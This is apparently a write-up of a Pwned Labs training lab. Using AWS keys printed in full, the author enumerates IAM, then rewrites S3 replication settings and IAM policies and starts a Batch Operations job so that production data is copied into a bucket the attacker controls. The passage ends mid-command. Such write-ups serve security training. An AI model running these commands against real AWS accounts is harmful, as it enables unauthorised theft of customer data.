17 minutes
Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data
Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data
Scenario
During the external part of the assessment for a client, you identified credentials stored in a zip file for an AWS IAM user. Use these credentials and show the client the impact of this breach!
Learning Outcomes
- Modify S3 bucket replication settings to exfiltrate new data
- Modify S3 batch operations settings to exfiltrate existing data
- Manual S3 enumeration and rights testing
- Identifying attack vectors with manual IAM enumeration
- Identifying assigned IAM permissions using aws-enumerator
AWS Access Credentials
Access Keys: AKIAUSHNW2N36BBJBMQF
Secret Access Keys: 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
This write up doesn’t follow the specific walkthrough as my intention was to find multiple ways to be able to complete the same activity which, in my opinion, is one of the major differentiators for Pwned Labs is that there are multiple ways to achieve the end objective.
I did respawn this lab a couple of times during the documentation so if you notice any different Account ID’s or S3 bucket names, this is the reason why.
As we have been provided with credentials, the first thing we have to do is configure our profile and confirm that they are valid.
❯ aws configure --profile pentester
AWS Access Key ID [****************HZLI]: AKIAUSHNW2N36BBJBMQF
AWS Secret Access Key [****************hY3c]: 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
Default region name [None]:
Default output format [None]:
❯ aws --profile pentester sts get-caller-identity
{
"UserId": "AIDAUSHNW2N33LJ7TPUPP",
"Account": "314031133559",
"Arn": "arn:aws:iam::314031133559:user/tier2_eng"
}
We are going to start the enumeration initially with pacu to increase our familiarity with the tool. When we launch it, we need to create a project and then import our keys. Once this has been completed, we can run the whoami
command to verify that this has worked successfully.
Pacu (pwnedlabs-s3repl:No Keys Set) > import_keys pentester
Imported keys as "imported-pentester"
Pacu (pwnedlabs-s3repl:imported-pentester) >
Pacu (pwnedlabs-s3repl:imported-pentester) > whoami
{
"UserName": null,
"RoleName": null,
"Arn": null,
"AccountId": null,
"UserId": null,
"Roles": null,
"Groups": null,
"Policies": null,
"AccessKeyId": "AIDAUSHNW2N33LJ7TPUPP",
"SecretAccessKey": "bzLI8l7//wSXRJvmvPVf********************",
"SessionToken": null,
"KeyAlias": "imported-pentester",
"PermissionsConfirmed": null,
"Permissions": {
"Allow": {},
"Deny": {}
}
}
We have verified that our credentials work and next we will brute force IAM permissions by running the command run iam__bruteforce_permissions
which takes a while and produces a lot of output on the screen. The following is the summary
[iam__bruteforce_permissions] Allowed Permissions:
ec2:
get_associated_enclave_certificate_iam_roles
get_host_reservation_purchase_preview
get_associated_enclave_certificate_iam_roles
get_host_reservation_purchase_preview
get_associated_enclave_certificate_iam_roles
get_host_reservation_purchase_preview
get_associated_enclave_certificate_iam_roles
get_host_reservation_purchase_preview
s3:
get_bucket_accelerate_configuration
get_bucket_acl
get_bucket_analytics_configuration
get_bucket_cors
get_bucket_encryption
get_bucket_intelligent_tiering_configuration
get_bucket_inventory_configuration
get_bucket_lifecycle
get_bucket_lifecycle_configuration
get_bucket_logging
get_bucket_notification
get_bucket_notification_configuration
get_bucket_ownership_controls
get_bucket_policy
get_bucket_replication
get_bucket_request_payment
get_bucket_tagging
get_bucket_versioning
get_bucket_website
get_object_lock_configuration
get_object_torrent
head_bucket
list_bucket_analytics_configurations
list_bucket_intelligent_tiering_configurations
list_bucket_inventory_configurations
list_buckets
get_bucket_accelerate_configuration
get_bucket_acl
get_bucket_analytics_configuration
get_bucket_cors
get_bucket_encryption
get_bucket_intelligent_tiering_configuration
get_bucket_inventory_configuration
get_bucket_lifecycle
get_bucket_lifecycle_configuration
get_bucket_logging
get_bucket_notification
get_bucket_notification_configuration
get_bucket_ownership_controls
get_bucket_policy
get_bucket_replication
get_bucket_request_payment
get_bucket_tagging
get_bucket_versioning
get_bucket_website
get_object_lock_configuration
get_object_torrent
head_bucket
list_bucket_analytics_configurations
list_bucket_intelligent_tiering_configurations
list_bucket_inventory_configurations
list_buckets
get_bucket_accelerate_configuration
get_bucket_acl
get_bucket_analytics_configuration
get_bucket_cors
get_bucket_encryption
get_bucket_intelligent_tiering_configuration
get_bucket_inventory_configuration
get_bucket_lifecycle
get_bucket_lifecycle_configuration
get_bucket_logging
get_bucket_notification
get_bucket_notification_configuration
get_bucket_ownership_controls
get_bucket_policy
get_bucket_replication
get_bucket_request_payment
get_bucket_tagging
get_bucket_versioning
get_bucket_website
get_object_lock_configuration
get_object_torrent
head_bucket
list_bucket_analytics_configurations
list_bucket_intelligent_tiering_configurations
list_bucket_inventory_configurations
list_buckets
get_bucket_accelerate_configuration
get_bucket_acl
get_bucket_analytics_configuration
get_bucket_cors
get_bucket_encryption
get_bucket_intelligent_tiering_configuration
get_bucket_inventory_configuration
get_bucket_lifecycle
get_bucket_lifecycle_configuration
get_bucket_logging
get_bucket_notification
get_bucket_notification_configuration
get_bucket_ownership_controls
get_bucket_policy
get_bucket_replication
get_bucket_request_payment
get_bucket_tagging
get_bucket_versioning
get_bucket_website
get_object_lock_configuration
get_object_torrent
head_bucket
list_bucket_analytics_configurations
list_bucket_intelligent_tiering_configurations
list_bucket_inventory_configurations
list_buckets
logs:
get_log_record
get_log_record
get_log_record
get_log_record
<--- snip --->
[iam__bruteforce_permissions] iam__bruteforce_permissions completed.
[iam__bruteforce_permissions] MODULE SUMMARY:
Services:
Supported: ['ec2', 's3', 'logs'].
Unsupported: [].
Unknown: 116.
116 allow permissions found.
116 unknown permissions found.
960 deny permissions found.
We have commenced enumeration of IAM and we didn’t have any rights to view our permissions, but we were able to enumerate our roles and policies
Pacu (pwnedlabs-s3repl:imported-pentester) > run iam__enum_users_roles_policies_groups
Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] No Users Found
[iam__enum_users_roles_policies_groups] FAILURE: MISSING NEEDED PERMISSIONS
[iam__enum_users_roles_policies_groups] Found 10 roles
[iam__enum_users_roles_policies_groups] Found 5 policies
[iam__enum_users_roles_policies_groups] No Groups Found
[iam__enum_users_roles_policies_groups] FAILURE: MISSING NEEDED PERMISSIONS
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.
[iam__enum_users_roles_policies_groups] MODULE SUMMARY:
0 Users Enumerated
10 Roles Enumerated
5 Policies Enumerated
0 Groups Enumerated
IAM resources saved in Pacu database.
We run the data command to get more details about what was found and can see some data relating to S3 replication and batch operations that will come in handy later as we progress through the lab.
Pacu (pwnedlabs-s3repl:imported-pentester) > data
Session data:
aws_keys: [
<AWSKey: imported-pentester>
]
id: 1
created: "2024-06-18 03:22:41.520676"
is_active: true
name: "pwnedlabs-s3repl"
key_alias: "imported-pentester"
access_key_id: "AKIA2MIMMWORU5YCHZLI"
secret_access_key: "******" (Censored)
session_regions: [
"all"
]
IAM: {
"Roles": [
{
"Path": "/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/",
"RoleName": "AWSServiceRoleForCostOptimizationHub",
"RoleId": "AROA2MIMMWORWDVMMFWKH",
"Arn": "arn:aws:iam::713527440291:role/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/AWSServiceRoleForCostOptimizationHub",
"CreateDate": "Wed, 20 Mar 2024 04:56:19",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "cost-optimization-hub.bcm.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/organizations.amazonaws.com/",
"RoleName": "AWSServiceRoleForOrganizations",
"RoleId": "AROA2MIMMWORQTTDATFLP",
"Arn": "arn:aws:iam::713527440291:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations",
"CreateDate": "Thu, 08 Jun 2023 08:14:10",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "organizations.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/servicequotas.amazonaws.com/",
"RoleName": "AWSServiceRoleForServiceQuotas",
"RoleId": "AROA2MIMMWOR6TUQGSARV",
"Arn": "arn:aws:iam::713527440291:role/aws-service-role/servicequotas.amazonaws.com/AWSServiceRoleForServiceQuotas",
"CreateDate": "Thu, 08 Jun 2023 08:24:13",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "servicequotas.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "A service-linked role is required for Service Quotas to access your service limits.",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/sso.amazonaws.com/",
"RoleName": "AWSServiceRoleForSSO",
"RoleId": "AROA2MIMMWOR6KASA6Z42",
"Arn": "arn:aws:iam::713527440291:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO",
"CreateDate": "Thu, 08 Jun 2023 08:14:23",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "sso.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Service-linked role used by AWS SSO to manage AWS resources, including IAM roles, policies and SAML IdP on your behalf.",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/support.amazonaws.com/",
"RoleName": "AWSServiceRoleForSupport",
"RoleId": "AROA2MIMMWORZK4TJGXTU",
"Arn": "arn:aws:iam::713527440291:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
"CreateDate": "Thu, 08 Jun 2023 08:14:08",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "support.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Enables resource access for AWS to provide billing, administrative and support services",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
"RoleName": "AWSServiceRoleForTrustedAdvisor",
"RoleId": "AROA2MIMMWORZHM2AVJYI",
"Arn": "arn:aws:iam::713527440291:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
"CreateDate": "Thu, 08 Jun 2023 08:14:08",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "trustedadvisor.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "OrganizationAccountAccessRole",
"RoleId": "AROA2MIMMWORXJEGBQA3H",
"Arn": "arn:aws:iam::713527440291:role/OrganizationAccountAccessRole",
"CreateDate": "Thu, 08 Jun 2023 08:14:08",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::036528129738:root"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "s3-inventory-role",
"RoleId": "AROA2MIMMWORTN5PSQDTA",
"Arn": "arn:aws:iam::713527440291:role/s3-inventory-role",
"CreateDate": "Tue, 18 Jun 2024 03:00:31",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "s3_batch_operations_role",
"RoleId": "AROA2MIMMWORVCBIBCB2G",
"Arn": "arn:aws:iam::713527440291:role/s3_batch_operations_role",
"CreateDate": "Tue, 18 Jun 2024 03:00:31",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "batchoperations.s3.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "s3_replication_role_for_source_bucket",
"RoleId": "AROA2MIMMWORS3OEBPPLH",
"Arn": "arn:aws:iam::713527440291:role/s3_replication_role_for_source_bucket",
"CreateDate": "Tue, 18 Jun 2024 03:00:31",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
}
],
"Policies": [
{
"PolicyName": "s3_batch_operations_policy",
"PolicyId": "ANPA2MIMMWOR2SL2FN4D6",
"Arn": "arn:aws:iam::713527440291:policy/s3_batch_operations_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"IsAttachable": true,
"CreateDate": "Tue, 18 Jun 2024 03:00:34",
"UpdateDate": "Tue, 18 Jun 2024 03:00:34"
},
{
"PolicyName": "tier2_eng_permissions",
"PolicyId": "ANPA2MIMMWOR67XGQFCTY",
"Arn": "arn:aws:iam::713527440291:policy/tier2_eng_permissions",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"IsAttachable": true,
"CreateDate": "Tue, 18 Jun 2024 03:00:33",
"UpdateDate": "Tue, 18 Jun 2024 03:00:33"
},
{
"PolicyName": "securitySecretAccess",
"PolicyId": "ANPA2MIMMWOR6CFXCGRJL",
"Arn": "arn:aws:iam::713527440291:policy/securitySecretAccess",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"IsAttachable": true,
"CreateDate": "Tue, 18 Jun 2024 03:00:31",
"UpdateDate": "Tue, 18 Jun 2024 03:00:31"
},
{
"PolicyName": "s3_inventory_policy",
"PolicyId": "ANPA2MIMMWORWOPMFOAMO",
"Arn": "arn:aws:iam::713527440291:policy/s3_inventory_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"IsAttachable": true,
"CreateDate": "Tue, 18 Jun 2024 03:00:33",
"UpdateDate": "Tue, 18 Jun 2024 03:00:33"
},
{
"PolicyName": "s3_replication_policy",
"PolicyId": "ANPA2MIMMWORZNEFHA2KG",
"Arn": "arn:aws:iam::713527440291:policy/s3_replication_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"IsAttachable": true,
"CreateDate": "Tue, 18 Jun 2024 03:00:34",
"UpdateDate": "Tue, 18 Jun 2024 03:00:34"
}
]
}
Firstly, lets look at what S3 buckets are available with our current credentials.
❯ aws --profile pentester s3 ls | awk '{print $3}'
cust-txn-prod-4c8691723a37
cust-txn-replica-4c8691723a37
s3-secure-backup-4c8691723a37
Whilst, there are only 3 buckets and we could do this manually, we will write a quick bash one-liner to go through these and see if there is any content
❯ for i in $(aws --profile pentester s3 ls | awk '{print $3}'); do echo "Bucket: $i" && aws --profile pentester s3 ls s3://$i ; done
Bucket: cust-txn-prod-4c8691723a37
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Bucket: cust-txn-replica-4c8691723a37
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Bucket: s3-secure-backup-4c8691723a37
You will note that we didn’t get an access denied on the bucket
s3-secure-backup-ca699a35556d
which means that we have at least list permissions.
We will see what other permissions we have by trying to upload and then download a file.
❯ aws --profile pentester s3 cp message.txt s3://s3-secure-backup-ca699a35556d
upload: ./message.txt to s3://s3-secure-backup-ca699a35556d/message.txt
❯ aws --profile pentester s3 ls s3://s3-secure-backup-ca699a35556d
2024-06-18 12:32:52 19 message.txt
❯ aws --profile pentester s3 cp s3://s3-secure-backup-ca699a35556d/message.txt message1.txt
download: s3://s3-secure-backup-ca699a35556d/message.txt to ./message1.txt
We have been successful both uploading and downloading from this bucket and in summary we have ListBucket, PutObject and GetObject permissions. Let’s test the other buckets.
❯ for i in $(aws --profile pentester s3 ls | awk '{print $3}' | grep -ve '^s3'); do echo "Bucket: $i" && aws --profile pentester s3 cp message.txt s3://$i ; done
Bucket: cust-txn-prod-4c8691723a37
upload: ./message.txt to s3://cust-txn-prod-4c8691723a37/message.txt
Bucket: cust-txn-replica-4c8691723a37
upload: ./message.txt to s3://cust-txn-replica-4c8691723a37/message.txt
❯ for i in $(aws --profile pentester s3 ls | awk '{print $3}' | grep -ve '^s3'); do echo "Bucket: $i" && aws --profile pentester s3 cp s3://$i/message.txt $i ; done
Bucket: cust-txn-prod-4c8691723a37
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
Bucket: cust-txn-replica-4c8691723a37
download: s3://cust-txn-replica-4c8691723a37/message.txt to ./cust-txn-replica-4c8691723a37
The following is a summary of our permissions on all the buckets.
Bucket | ListObject | PutObject | GetObject |
---|---|---|---|
cust-txn-prod-ca699a35556d | x | ||
cust-txn-replica-ca699a35556d | x | x | |
s3-secure-backup-ca699a35556d | x | x | x |
You will recall earlier that when we ran Pacu that there was an “s3_batch_operations_policy”. Batch operations are a “managed solution for performing storage actions like copying and tagging objects at scale, whether for one-time tasks or for recurring, batch workloads.”
To get a better understanding of the configuration we query the bucket and we can see that the bucket is configured for cross-region replication which is managed by the IAM role s3_replication_role_for_source_bucket
. It replicates all objects as notated by Prefix: ""
to the replica bucket with a time of 15 minutes with replication metrics enabled and deletion marker disabled.
❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
"ReplicationConfiguration": {
"Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
"Rules": [
{
"ID": "replicateAll",
"Priority": 1,
"Filter": {
"Prefix": ""
},
"Status": "Enabled",
"Destination": {
"Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
"StorageClass": "STANDARD",
"ReplicationTime": {
"Status": "Enabled",
"Time": {
"Minutes": 15
}
},
"Metrics": {
"Status": "Enabled",
"EventThreshold": {
"Minutes": 15
}
}
},
"DeleteMarkerReplication": {
"Status": "Disabled"
}
}
]
}
}
This opens up a couple of possible attack vendors based on the permissions that we have:
Attack 1 - Use Replication Policies to exfiltrate new S3 objects
We get the details of the S3 Replication Policy and then look at the current configuration
❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy
{
"Policy": {
"PolicyName": "s3_replication_policy",
"PolicyId": "ANPAUSHNW2N3VYTCZB4ZP",
"Arn": "arn:aws:iam::314031133559:policy/s3_replication_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2024-06-19T01:13:40+00:00",
"UpdateDate": "2024-06-19T01:13:40+00:00",
"Tags": []
}
}
❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --version-id v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetReplicationConfiguration",
"s3:GetObjectVersionTagging",
"s3:GetObjectVersionForReplication",
"s3:GetObjectVersionAcl",
"s3:GetObjectRetention",
"s3:GetObjectLegalHold"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
"arn:aws:s3:::cust-txn-replica-4c8691723a37",
"arn:aws:s3:::cust-txn-prod-4c8691723a37/*",
"arn:aws:s3:::cust-txn-prod-4c8691723a37"
]
},
{
"Action": [
"s3:ReplicateTags",
"s3:ReplicateObject",
"s3:ReplicateDelete",
"s3:ObjectOwnerOverrideToBucketOwner"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
"arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
]
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-06-19T01:13:40+00:00"
}
}
We shall use the following malicious policy document in which we change the Resource to remove the replica bucket as the target and add the s3-secure-backup bucket which we have full control over.
{
"Statement": [
{
"Action": [
"s3:ListBucket",
"s3:GetReplicationConfiguration",
"s3:GetObjectVersionTagging",
"s3:GetObjectVersionForReplication",
"s3:GetObjectVersionAcl",
"s3:GetObjectRetention",
"s3:GetObjectLegalHold"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
"arn:aws:s3:::cust-txn-replica-4c8691723a37",
"arn:aws:s3:::cust-txn-prod-4c8691723a37/*",
"arn:aws:s3:::cust-txn-prod-4c8691723a37"
]
},
{
"Action": [
"s3:ReplicateTags",
"s3:ReplicateObject",
"s3:ReplicateDelete",
"s3:ObjectOwnerOverrideToBucketOwner"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
"arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
]
}
],
"Version": "2012-10-17"
}
We then upload this policy document
❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --policy-document file://s3_replication_policy.json --set-as-default
{
"PolicyVersion": {
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2024-06-19T02:25:04+00:00"
}
}
Next we have to see if we are able to modify the Replication Rules and we will first try to change the Name of the rule. The following is the modified JSON file in which we have just modified the ID value.
{
"Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
"Rules": [
{
"ID": "replicateAll-test",
"Priority": 1,
"Filter": {
"Prefix": ""
},
"Status": "Enabled",
"Destination": {
"Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
"StorageClass": "STANDARD",
"ReplicationTime": {
"Status": "Enabled",
"Time": {
"Minutes": 15
}
},
"Metrics": {
"Status": "Enabled",
"EventThreshold": {
"Minutes": 15
}
}
},
"DeleteMarkerReplication": {
"Status": "Disabled"
}
}
]
}
We uploaded the policy and got no errors.
❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json
We check the policy to be sure, and we can confirm that we have permissions to modify.
❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
"ReplicationConfiguration": {
"Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
"Rules": [
{
"ID": "replicateAll-test",
"Priority": 1,
"Filter": {
"Prefix": ""
},
"Status": "Enabled",
"Destination": {
"Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
"StorageClass": "STANDARD",
"ReplicationTime": {
"Status": "Enabled",
"Time": {
"Minutes": 15
}
},
"Metrics": {
"Status": "Enabled",
"EventThreshold": {
"Minutes": 15
}
}
},
"DeleteMarkerReplication": {
"Status": "Disabled"
}
}
]
}
}
We have confirmed that we have access to modify the Replication Rules and shall modify the replication target to change the replication target.
{
"Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
"Rules": [
{
"ID": "replicateAll-test",
"Priority": 1,
"Filter": {
"Prefix": ""
},
"Status": "Enabled",
"Destination": {
"Bucket": "arn:aws:s3:::s3-secure-backup-4c8691723a37",
"StorageClass": "STANDARD",
"ReplicationTime": {
"Status": "Enabled",
"Time": {
"Minutes": 15
}
},
"Metrics": {
"Status": "Enabled",
"EventThreshold": {
"Minutes": 15
}
}
},
"DeleteMarkerReplication": {
"Status": "Disabled"
}
}
]
}
We follow the sames steps as earlier and confirm the changes have been applied
❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json
❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
"ReplicationConfiguration": {
"Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
"Rules": [
{
"ID": "replicateAll-test",
"Priority": 1,
"Filter": {
"Prefix": ""
},
"Status": "Enabled",
"Destination": {
"Bucket": "arn:aws:s3:::s3-secure-backup-4c8691723a37",
"StorageClass": "STANDARD",
"ReplicationTime": {
"Status": "Enabled",
"Time": {
"Minutes": 15
}
},
"Metrics": {
"Status": "Enabled",
"EventThreshold": {
"Minutes": 15
}
}
},
"DeleteMarkerReplication": {
"Status": "Disabled"
}
}
]
}
}
We will now test this is working correctly by uploading a new file to the production bucket and then see if we are able to retrieve it from the s3-secure-backup bucket.
❯ aws --profile pentester s3 cp new_message.txt s3://cust-txn-prod-4c8691723a37
upload: ./new_message.txt to s3://cust-txn-prod-4c8691723a37/new_message.txt
❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37
2024-06-19 11:01:02 48 new_message.txt
Success! Anything that now goes into the production bucket will be replicated to our bucket including any sensitive or financial data.
Use Batch-Ops to exfiltrate existing S3 objects
It is reasonable to think that if we have permissions to change S3 replication configuration that we would have the same with regards to Batch Operations. We will first get details on the policy and its configuration
❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy
{
"Policy": {
"PolicyName": "s3_batch_operations_policy",
"PolicyId": "ANPAUSHNW2N32HBDH3K5M",
"Arn": "arn:aws:iam::314031133559:policy/s3_batch_operations_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "Policy for S3 Batch Operations",
"CreateDate": "2024-06-19T01:13:40+00:00",
"UpdateDate": "2024-06-19T01:13:40+00:00",
"Tags": []
}
}
❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --version-id v1
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"s3:InitiateReplication",
"s3:GetReplicationConfiguration",
"s3:PutInventoryConfiguration"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::cust-txn-prod-4c8691723a37",
"arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
]
},
{
"Action": [
"s3:GetObject",
"s3:GetObjectVersion",
"s3:PutObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
},
{
"Action": "s3:PutObject",
"Effect": "Allow",
"Resource": "arn:aws:s3:::cust-txn-replica-4c8691723a37/*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2024-06-19T01:13:40+00:00"
}
}
With a copy of the policy, we shall modify it to allow the action s3:PutObject
to allow access to the s3-secure-bucket
{
"Statement": [
{
"Action": [
"s3:InitiateReplication",
"s3:GetReplicationConfiguration",
"s3:PutInventoryConfiguration"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::cust-txn-prod-4c8691723a37",
"arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
]
},
{
"Action": [
"s3:GetObject",
"s3:GetObjectVersion",
"s3:PutObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::cust-txn-prod-4c8691723a37/*"
},
{
"Action": "s3:PutObject",
"Effect": "Allow",
"Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*"
}
],
"Version": "2012-10-17"
}
We then upload the modified policy document and see that this is successful and the VersionId is incremented.
❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --policy-document file://s3_batch_operations_policy.json
{
"PolicyVersion": {
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2024-06-19T03:34:48+00:00"
}
}
Next we need to set permissions on the s3-secure-bucket and to help with that, we will copy the policy from the replica and use that as our base.
❯ aws --profile pentester s3api get-bucket-policy --bucket cust-txn-replica-4c8691723a37 | jq -r '.Policy' | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::cust-txn-replica-4c8691723a37/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "036528129738",
"s3:x-amz-acl": "bucket-owner-full-control"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
}
}
}
]
}
We modify this by updating the Resource from the replica bucket to the s3-secure-bucket.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "036528129738",
"s3:x-amz-acl": "bucket-owner-full-control"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
}
}
}
]
}
We upload the policy and then verify that it has successfully been applied.
❯ aws --profile pentester s3api put-bucket-policy --bucket s3-secure-backup-4c8691723a37 --policy file://s3-secure-bucket.json
❯ aws --profile pentester s3api get-bucket-policy --bucket s3-secure-backup-4c8691723a37 | jq -r '.Policy' | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "s3.amazonaws.com"
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::s3-secure-backup-4c8691723a37/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "036528129738",
"s3:x-amz-acl": "bucket-owner-full-control"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:s3:::cust-txn-prod-4c8691723a37"
}
}
}
]
}
We now initiate a batch operation job with the following command:
aws --profile pentester s3control create-job \
--account-id 314031133559 \
--operation '{"S3ReplicateObject":{}}' \
--report '{"Bucket":"arn:aws:s3:::s3-secure-backup-4c8691723a37","Prefix":"batch-replication-report","Format":"Report_CSV_20180820","Enabled":true,"ReportScope":"AllTasks"}' \
--manifest-generator '{"S3JobManifestGenerator":{"ExpectedBucketOwner":"314031133559","SourceBucket":"arn:aws:s3:::cust-txn-prod-4c8691723a37","EnableManifestOutput":false,"Filter":{"EligibleForReplication":true,"ObjectReplicationStatuses": ["NONE","FAILED","COMPLETED","REPLICA"]}}}' \
--priority 1 \
--role-arn "arn:aws:iam::314031133559:role/s3_batch_operations_role" \
--no-confirmation-required \
--region us-west-2 \
